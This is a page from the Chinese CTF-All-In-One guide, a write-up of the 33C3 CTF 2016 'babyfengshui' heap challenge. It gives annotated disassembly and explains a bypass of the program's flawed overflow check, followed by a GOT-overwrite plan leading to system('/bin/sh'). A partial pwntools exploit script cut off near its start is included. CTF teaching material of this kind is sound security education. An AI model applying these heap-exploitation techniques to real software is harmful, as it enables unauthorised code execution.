📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • Add a user
  • Delete a user
  • Display a user
  • Update a user description
  • 漏洞利用
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.20 pwn 33C3CTF2016 babyfengshui

Previous6.1.19 pwn HITBCTF2018 gundamNext6.1.21 pwn HITCONCTF2016 Secret_Holder

Last updated 3 years ago

Was this helpful?

题目复现

$ file babyfengshui
babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped
$ checksec -f babyfengshui
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               3       babyfengshui
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Debian GLIBC 2.19-18+deb8u6) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.

32 位程序,开启了 canary 和 NX。

在 Ubuntu-14.04 上玩一下,添加 user 和显示 user:

$ ./babyfengshui
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 0
size of description: 10     # description 最大长度(desc_size)
name: AAAA
text length: 5              # description 实际长度(text_size)
text: aaaa
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 2
index: 0
name: AAAA
description: aaaa

对于 description 的调整只能在最大长度的范围内,否则程序退出:

0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 3
index: 0
text length: 20
my l33t defenses cannot be fooled, cya!

题目解析

Add a user

[0x080485c0]> pdf @ sub.malloc_816
/ (fcn) sub.malloc_816 239
|   sub.malloc_816 (int arg_8h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_14h @ ebp-0x14
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from 0x08048b21 (main)
|           0x08048816      push ebp
|           0x08048817      mov ebp, esp
|           0x08048819      sub esp, 0x28                              ; '('
|           0x0804881c      mov eax, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x0804881f      mov dword [local_1ch], eax                  ; 将参数 desc_size 放到 [local_1ch]
|           0x08048822      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048828      mov dword [local_ch], eax
|           0x0804882b      xor eax, eax
|           0x0804882d      sub esp, 0xc
|           0x08048830      push dword [local_1ch]
|           0x08048833      call sym.imp.malloc                         ; [local_14h] = malloc(desc_size) 为 description 分配空间
|           0x08048838      add esp, 0x10
|           0x0804883b      mov dword [local_14h], eax
|           0x0804883e      sub esp, 4
|           0x08048841      push dword [local_1ch]
|           0x08048844      push 0
|           0x08048846      push dword [local_14h]
|           0x08048849      call sym.imp.memset                         ; memset([local_14h], 0, desc_size) 初始化
|           0x0804884e      add esp, 0x10
|           0x08048851      sub esp, 0xc
|           0x08048854      push 0x80                                  ; 128
|           0x08048859      call sym.imp.malloc                         ; [local_10h] = malloc(0x80) 为 user struct 分配空间
|           0x0804885e      add esp, 0x10
|           0x08048861      mov dword [local_10h], eax
|           0x08048864      sub esp, 4
|           0x08048867      push 0x80                                  ; 128
|           0x0804886c      push 0
|           0x0804886e      push dword [local_10h]
|           0x08048871      call sym.imp.memset                         ; memset([local_10h], 0, 0x80) 初始化
|           0x08048876      add esp, 0x10
|           0x08048879      mov eax, dword [local_10h]
|           0x0804887c      mov edx, dword [local_14h]
|           0x0804887f      mov dword [eax], edx                        ; user->desc = desc ; desc = [local_14h]
|           0x08048881      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0 ; 取出序号 i
|           0x08048888      movzx eax, al
|           0x0804888b      mov edx, dword [local_10h]
|           0x0804888e      mov dword [eax*4 + 0x804b080], edx          ; store[i] = user 将 user 放到数组里
|           0x08048895      sub esp, 0xc
|           0x08048898      push str.name:                             ; 0x8048cf3 ; "name: "
|           0x0804889d      call sym.imp.printf                        ; int printf(const char *format)
|           0x080488a2      add esp, 0x10
|           0x080488a5      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0
|           0x080488ac      movzx eax, al
|           0x080488af      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|           0x080488b6      add eax, 4                                  ; 取出 store[i]->name
|           0x080488b9      sub esp, 8
|           0x080488bc      push 0x7c                                  ; '|' ; 124
|           0x080488be      push eax
|           0x080488bf      call sub.fgets_6bb                          ; 读入 0x7c 个字符到 store[i]->name,将末尾的 '\n' 换成 '\x00'
|           0x080488c4      add esp, 0x10
|           0x080488c7      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0
|           0x080488ce      add eax, 1                                  ; 序号 i = i + 1
|           0x080488d1      mov byte [0x804b069], al                   ; [0x804b069:1]=0 ; 写回去
|           0x080488d6      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0 ; 取出 i
|           0x080488dd      sub eax, 1                                  ; i = i - 1
|           0x080488e0      movzx eax, al
|           0x080488e3      sub esp, 0xc
|           0x080488e6      push eax
|           0x080488e7      call sub.text_length:_724                   ; 调用更新 description 的函数,参数为 i
|           0x080488ec      add esp, 0x10
|           0x080488ef      mov eax, dword [local_10h]
|           0x080488f2      mov ecx, dword [local_ch]
|           0x080488f5      xor ecx, dword gs:[0x14]
|       ,=< 0x080488fc      je 0x8048903
|       |   0x080488fe      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x080488fc (sub.malloc_816)
|       `-> 0x08048903      leave
\           0x08048904      ret

函数首先分配一个 description 的最大空间,然后分配 user 结构体空间,并将 user 放到 store 数组中,最后调用更新 description 的函数。

user 结构体和 store 数组如下:

struct user {
    char *desc;
    char name[0x7c];
} user;

struct user *store[50];

store 放在 0x804b080,当前 user 个数 user_num 放在 0x804b069。

Delete a user

[0x080485c0]> pdf @ sub.free_905
/ (fcn) sub.free_905 138
|   sub.free_905 (int arg_8h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from 0x08048b5f (main)
|           0x08048905      push ebp
|           0x08048906      mov ebp, esp
|           0x08048908      sub esp, 0x28                              ; '('
|           0x0804890b      mov eax, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x0804890e      mov byte [local_1ch], al                    ; 将参数 i 放到 [local_1ch]
|           0x08048911      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048917      mov dword [local_ch], eax
|           0x0804891a      xor eax, eax
|           0x0804891c      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0 ; 取出 user_num
|           0x08048923      cmp byte [local_1ch], al                   ; [0x2:1]=255 ; 2 ; 比较
|       ,=< 0x08048926      jae 0x8048978                               ; i 大于等于 user_num 时函数返回
|       |   0x08048928      movzx eax, byte [local_1ch]
|       |   0x0804892c      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|       |   0x08048933      test eax, eax                               ; store[i] 为 0 是函数返回
|      ,==< 0x08048935      je 0x804897b
|      ||   0x08048937      movzx eax, byte [local_1ch]
|      ||   0x0804893b      mov eax, dword [eax*4 + 0x804b080]         ; [0x804b080:4]=0
|      ||   0x08048942      mov eax, dword [eax]                        ; 取出 store[i]->desc
|      ||   0x08048944      sub esp, 0xc
|      ||   0x08048947      push eax
|      ||   0x08048948      call sym.imp.free                           ; free(store[i]->desc) 释放 description
|      ||   0x0804894d      add esp, 0x10
|      ||   0x08048950      movzx eax, byte [local_1ch]
|      ||   0x08048954      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|      ||   0x0804895b      sub esp, 0xc
|      ||   0x0804895e      push eax
|      ||   0x0804895f      call sym.imp.free                           ; free(store[i]) 释放 user
|      ||   0x08048964      add esp, 0x10
|      ||   0x08048967      movzx eax, byte [local_1ch]
|      ||   0x0804896b      mov dword [eax*4 + 0x804b080], 0            ; 将 store[i] 置为 0
|     ,===< 0x08048976      jmp 0x804897c
|     |||   ; JMP XREF from 0x08048926 (sub.free_905)
|     ||`-> 0x08048978      nop
|     ||,=< 0x08048979      jmp 0x804897c
|     |||   ; JMP XREF from 0x08048935 (sub.free_905)
|     |`--> 0x0804897b      nop
|     | |   ; JMP XREF from 0x08048979 (sub.free_905)
|     | |   ; JMP XREF from 0x08048976 (sub.free_905)
|     `-`-> 0x0804897c      mov eax, dword [local_ch]
|           0x0804897f      xor eax, dword gs:[0x14]
|       ,=< 0x08048986      je 0x804898d
|       |   0x08048988      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048986 (sub.free_905)
|       `-> 0x0804898d      leave
\           0x0804898e      ret

删除的过程将 description 和 user 依次释放,并将 store[i] 置为 0。

但是 user->desc 没有被置为 0,user_num 也没有减 1,似乎可能导致 UAF,但不知道怎么用。

Display a user

[0x080485c0]> pdf @ sub.name:__s_98f
/ (fcn) sub.name:__s_98f 136
|   sub.name:__s_98f (int arg_8h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from 0x08048b9d (main)
|           0x0804898f      push ebp
|           0x08048990      mov ebp, esp
|           0x08048992      sub esp, 0x28                              ; '('
|           0x08048995      mov eax, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x08048998      mov byte [local_1ch], al                    ; 将参数 i 放到 [local_1ch]
|           0x0804899b      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080489a1      mov dword [local_ch], eax
|           0x080489a4      xor eax, eax
|           0x080489a6      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0 ; 取出 user_num
|           0x080489ad      cmp byte [local_1ch], al                   ; [0x2:1]=255 ; 2 ; 比较
|       ,=< 0x080489b0      jae 0x8048a00                               ; i 大于等于 user_num 时函数返回
|       |   0x080489b2      movzx eax, byte [local_1ch]
|       |   0x080489b6      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|       |   0x080489bd      test eax, eax
|      ,==< 0x080489bf      je 0x8048a03                                ; store[i] 为 0 时函数返回
|      ||   0x080489c1      movzx eax, byte [local_1ch]
|      ||   0x080489c5      mov eax, dword [eax*4 + 0x804b080]         ; [0x804b080:4]=0
|      ||   0x080489cc      add eax, 4                                  ; 取出 store[i]->name
|      ||   0x080489cf      sub esp, 8
|      ||   0x080489d2      push eax
|      ||   0x080489d3      push str.name:__s                          ; 0x8048cfa ; "name: %s\n"
|      ||   0x080489d8      call sym.imp.printf                         ; 打印 store[i]->name
|      ||   0x080489dd      add esp, 0x10
|      ||   0x080489e0      movzx eax, byte [local_1ch]
|      ||   0x080489e4      mov eax, dword [eax*4 + 0x804b080]         ; [0x804b080:4]=0
|      ||   0x080489eb      mov eax, dword [eax]                        ; 取出 store[i]->desc
|      ||   0x080489ed      sub esp, 8
|      ||   0x080489f0      push eax
|      ||   0x080489f1      push str.description:__s                   ; 0x8048d04 ; "description: %s\n"
|      ||   0x080489f6      call sym.imp.printf                         ; 打印 store[i]->desc
|      ||   0x080489fb      add esp, 0x10
|     ,===< 0x080489fe      jmp 0x8048a04
|     |||   ; JMP XREF from 0x080489b0 (sub.name:__s_98f)
|     ||`-> 0x08048a00      nop
|     ||,=< 0x08048a01      jmp 0x8048a04
|     |||   ; JMP XREF from 0x080489bf (sub.name:__s_98f)
|     |`--> 0x08048a03      nop
|     | |   ; JMP XREF from 0x08048a01 (sub.name:__s_98f)
|     | |   ; JMP XREF from 0x080489fe (sub.name:__s_98f)
|     `-`-> 0x08048a04      mov eax, dword [local_ch]
|           0x08048a07      xor eax, dword gs:[0x14]
|       ,=< 0x08048a0e      je 0x8048a15
|       |   0x08048a10      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048a0e (sub.name:__s_98f)
|       `-> 0x08048a15      leave
\           0x08048a16      ret

函数首先判断 store[i] 是否存在,如果是,就打印出 name 和 description。

Update a user description

[0x080485c0]> pdf @ sub.text_length:_724
/ (fcn) sub.text_length:_724 242
|   sub.text_length:_724 (int arg_8h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_11h @ ebp-0x11
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from 0x08048bdb (main)
|           ; CALL XREF from 0x080488e7 (sub.malloc_816)
|           0x08048724      push ebp
|           0x08048725      mov ebp, esp
|           0x08048727      sub esp, 0x28                              ; '('
|           0x0804872a      mov eax, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x0804872d      mov byte [local_1ch], al                    ; 将参数 i 放到 [local_1ch]
|           0x08048730      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048736      mov dword [local_ch], eax
|           0x08048739      xor eax, eax
|           0x0804873b      movzx eax, byte [0x804b069]                ; [0x804b069:1]=0 ; 取出 user_num
|           0x08048742      cmp byte [local_1ch], al                   ; [0x2:1]=255 ; 2 ; 比较
|       ,=< 0x08048745      jae 0x80487ff                               ; i 大于等于 user_num 时函数返回
|       |   0x0804874b      movzx eax, byte [local_1ch]
|       |   0x0804874f      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|       |   0x08048756      test eax, eax
|      ,==< 0x08048758      je 0x8048802                                ; store[i] 为 0 时函数返回
|      ||   0x0804875e      mov dword [local_10h], 0                    ; text_size 放到 [local_10h]
|      ||   0x08048765      sub esp, 0xc
|      ||   0x08048768      push str.text_length:                      ; 0x8048cb0 ; "text length: "
|      ||   0x0804876d      call sym.imp.printf                        ; int printf(const char *format)
|      ||   0x08048772      add esp, 0x10
|      ||   0x08048775      sub esp, 4
|      ||   0x08048778      lea eax, [local_11h]
|      ||   0x0804877b      push eax
|      ||   0x0804877c      lea eax, [local_10h]
|      ||   0x0804877f      push eax
|      ||   0x08048780      push str.u_c                               ; 0x8048cbe ; "%u%c"
|      ||   0x08048785      call sym.imp.__isoc99_scanf                 ; 读入 text_size
|      ||   0x0804878a      add esp, 0x10
|      ||   0x0804878d      movzx eax, byte [local_1ch]
|      ||   0x08048791      mov eax, dword [eax*4 + 0x804b080]         ; [0x804b080:4]=0
|      ||   0x08048798      mov eax, dword [eax]                        ; 取出 store[i]->desc
|      ||   0x0804879a      mov edx, eax
|      ||   0x0804879c      mov eax, dword [local_10h]                  ; 取出 test_size
|      ||   0x0804879f      add edx, eax                                ; store[i]->desc + test_size
|      ||   0x080487a1      movzx eax, byte [local_1ch]
|      ||   0x080487a5      mov eax, dword [eax*4 + 0x804b080]          ; 取出 store[i]
|      ||   0x080487ac      sub eax, 4                                  ; store[i] - 4
|      ||   0x080487af      cmp edx, eax                                ; 比较 (store[i]->desc + test_size) 和 (store[i] - 4)
|     ,===< 0x080487b1      jb 0x80487cd                                ; 小于时跳转
|     |||   0x080487b3      sub esp, 0xc                                ; 否则继续,程序退出
|     |||   0x080487b6      push str.my_l33t_defenses_cannot_be_fooled__cya ; 0x8048cc4 ; "my l33t defenses cannot be fooled, cya!"
|     |||   0x080487bb      call sym.imp.puts                          ; int puts(const char *s)
|     |||   0x080487c0      add esp, 0x10
|     |||   0x080487c3      sub esp, 0xc
|     |||   0x080487c6      push 1                                     ; 1
|     |||   0x080487c8      call sym.imp.exit                          ; void exit(int status)
|     |||   ; JMP XREF from 0x080487b1 (sub.text_length:_724)
|     `---> 0x080487cd      sub esp, 0xc
|      ||   0x080487d0      push str.text:                             ; 0x8048cec ; "text: "
|      ||   0x080487d5      call sym.imp.printf                        ; int printf(const char *format)
|      ||   0x080487da      add esp, 0x10
|      ||   0x080487dd      mov eax, dword [local_10h]
|      ||   0x080487e0      lea edx, [eax + 1]                          ; test_size + 1
|      ||   0x080487e3      movzx eax, byte [local_1ch]
|      ||   0x080487e7      mov eax, dword [eax*4 + 0x804b080]         ; [0x804b080:4]=0
|      ||   0x080487ee      mov eax, dword [eax]                        ; 取出 store[i]->desc
|      ||   0x080487f0      sub esp, 8
|      ||   0x080487f3      push edx
|      ||   0x080487f4      push eax
|      ||   0x080487f5      call sub.fgets_6bb                          ; 读入 test_size+1 个字符到 store[i]->desc
|      ||   0x080487fa      add esp, 0x10
|     ,===< 0x080487fd      jmp 0x8048803
|     |||   ; JMP XREF from 0x08048745 (sub.text_length:_724)
|     ||`-> 0x080487ff      nop
|     ||,=< 0x08048800      jmp 0x8048803
|     |||   ; JMP XREF from 0x08048758 (sub.text_length:_724)
|     |`--> 0x08048802      nop
|     | |   ; JMP XREF from 0x08048800 (sub.text_length:_724)
|     | |   ; JMP XREF from 0x080487fd (sub.text_length:_724)
|     `-`-> 0x08048803      mov eax, dword [local_ch]
|           0x08048806      xor eax, dword gs:[0x14]
|       ,=< 0x0804880d      je 0x8048814
|       |   0x0804880f      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x0804880d (sub.text_length:_724)
|       `-> 0x08048814      leave
\           0x08048815      ret

该函数读入新的 text_size,并使用 (store[i]->desc + test_size) < (store[i] - 4) 的条件来防止堆溢出,最后读入新的 description。

然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

漏洞利用

所以我们首先添加两个 user,用于绕过检查。第 3 个 user 存放 "/bin/sh"。然后删掉第 1 个 user,并创建一个 description 很长的 user,其长度是第 1 个 user 的 description 长度加上 user 结构体长度。这时候检查就绕过了,我们可以在添加新 user 的时候修改 description 大小,造成堆溢出,并修改第 2 个 user 的 user->desc 为 free@got.plt,从而泄漏出 libc 地址。得到 system 地址后,此时修改第 2 个 user 的 description,其实是修改 free 的 GOT,所以我们将其改成 system@got.plt。最后删除第 3 个 user,触发 system('/bin/sh'),得到 shell。

开启 ASLR。Bingo!!!

$ python exp.py
[+] Starting local process './babyfengshui': pid 2269
[*] system address: 0xf75e23e0
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./babyfengshui'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('babyfengshui')
libc = ELF('libc-2.19.so')

def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
